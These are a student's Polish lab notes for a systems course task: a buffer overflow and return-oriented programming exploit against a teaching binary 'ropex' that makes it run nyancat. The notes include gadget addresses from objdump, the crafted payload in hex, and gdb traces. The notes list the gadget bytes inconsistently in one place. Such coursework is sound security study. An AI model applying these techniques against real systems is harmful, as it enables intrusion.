Zad 4.

sobota, 13 maja 2023 15:53

Zadanie 4. Przeprowadź na swoim komputerze atak na program «ropex» wykorzystując podatność **przepełnienia bufora** w procedurze «echo». Posłuż się techniką **ROP** (ang. *return oriented programming*). Wyznacz adresy **gadżetów**, tj. procedury «gadget» oraz dowolnej instrukcji «syscall» w pliku «ropex». Wpisz je, w porządku *little-endian*, do pliku «ropex.in.txt» na pozycji 0x38 i 0x40, po czym przetłumacz go do postaci binarnej. Następnie uruchom polecenie «ropex ropex.in», aby zobaczyć rezultat wykonania programu «nyancat»[3]. Przy pomocy gdb zaprezentuj zawartość stosu przed i po wykonaniu procedury «gets». Pokaż, że procesor wykonując instrukcję «ret» skacze pod przygotowane przez Ciebie adresy.

Wskazówka: Wykaz poleceń i odnośnik do samouczka gdb podano na stronie przedmiotu w SKOS.

In this technique, an attacker gains control of the call stack to hijack program control flow and then executes carefully chosen machine instruction sequences that are already present in the machine's memory, called "gadgets".[4][nb 1] Each gadget typically ends in a return instruction and is located in a subroutine within the existing program and/or shared library code.[nb 1] Chained together, these gadgets allow an attacker to perform arbitrary operations on a machine employing defenses that thwart simpler attacks.

ROP + gadżety

Przepełnienie bufora (ang. *buffer overflow*) – błąd programistyczny polegający na zapisaniu do wyznaczonego obszaru pamięci (bufora) większej ilości danych niż zarezerwował na ten cel programista. Taka sytuacja prowadzi do zamazania danych znajdujących się w pamięci bezpośrednio za buforem, a w rezultacie do błędnego działania programu. Gdy dane, które wpisywane są do bufora,

```
gadget at 0x401d7b
```

```
0000000000401d7b <gadget>:
  401d7b:       48 ff c8                dec    %rax
  401d7e:       48 89 d6                mov    %rdx,%rsi
  401d81:       48 89 fa                mov    %rdi,%rdx
  401d84:       48 8d 7c 24 10          lea    0x10(%rsp),%rdi
  401d89:       c3                      ret
  401d8a:       66 0f 1f 44 00 00       nopw   0x0(%rax,%rax,1)
```

objdump -d ropex | grep -A[..] gadget

```
0000000000478c50 <__setitimer>:
  478c50:       b8 26 00 00 00          mov    $0x26,%eax
  478c55:       0f 05                   syscall
```

↖ tu jest jakiś

gadget → 76 1d 40
syscall → 55 8c 47

```
mluczynski@mluczynski:~/Desktop/studia/ask/Lista 9/lista_9$ cat ropex.in.txt
00000000: dead c0de dead c0de dead c0de dead c0de  ................
00000010: dead c0de dead c0de dead c0de dead c0de  ................
00000020: dead c0de dead c0de dead c0de dead c0de  ................
00000030: dead c0de dead c0de baad f00d 0000 0000  ................
00000040: baad f00d 0000 0000 0000 0000 0000 0000  ................
00000050: 2f75 7372 2f62 696e 2f6e 7961 6e63 6174  /usr/bin/nyancat
00000060: 000a                                     ................
```

```
mluczynski@mluczynski:~/Desktop/studia/ask/Lista 9/lista_9$ cat ropex.in.txt
00000000: dead c0de dead c0de dead c0de dead c0de  ................
00000010: dead c0de dead c0de dead c0de dead c0de  ................
00000020: dead c0de dead c0de dead c0de dead c0de  ................
00000030: dead c0de dead c0de 7b1d 4000 0000 0000  ................
00000040: 558c 4700 0000 0000 0000 0000 0000 0000  ................
00000050: 2f75 7372 2f62 696e 2f6e 7961 6e63 6174  /usr/bin/nyancat
00000060: 000a                                     ................
```

```
→   0x401d2b <echo+24>        ret
  ↳    0x401d7b <gadget+0>       dec    rax
       0x401d7e <gadget+3>       mov    rsi, rdx
       0x401d81 <gadget+6>       mov    rdx, rdi
       0x401d84 <gadget+9>       lea    rdi, [rsp+0x10]
       0x401d89 <gadget+14>      ret
       0x401d8a <gadget+15>      nop    WORD PTR [rax+rax*1+0x0]
```

```
    0x401d84 <gadget+9>       lea    rdi, [rsp+0x10]
→   0x401d89 <gadget+14>      ret
  ↳    0x478c55 <setitimer+5>    syscall
       0x478c57 <setitimer+7>    cmp    rax, 0xfffffffffffff001
       0x478c5d <setitimer+13>   jae    0x478c60 <setitimer+16>
       0x478c5f <setitimer+15>   ret
       0x478c60 <setitimer+16>   mov    rcx, 0xfffffffffffffc0
       0x478c67 <setitimer+23>   neg    eax
```

```
mluczynski@mluczynski:~/Desktop/studia/ask/Lista 9/lista_9$ ./ropex input.in
gadget at 0x401d7b
[illegible]{@
You've been trolled
mluczynski@mluczynski:~/Desktop/studia/ask/Lista 9/lista_9$
```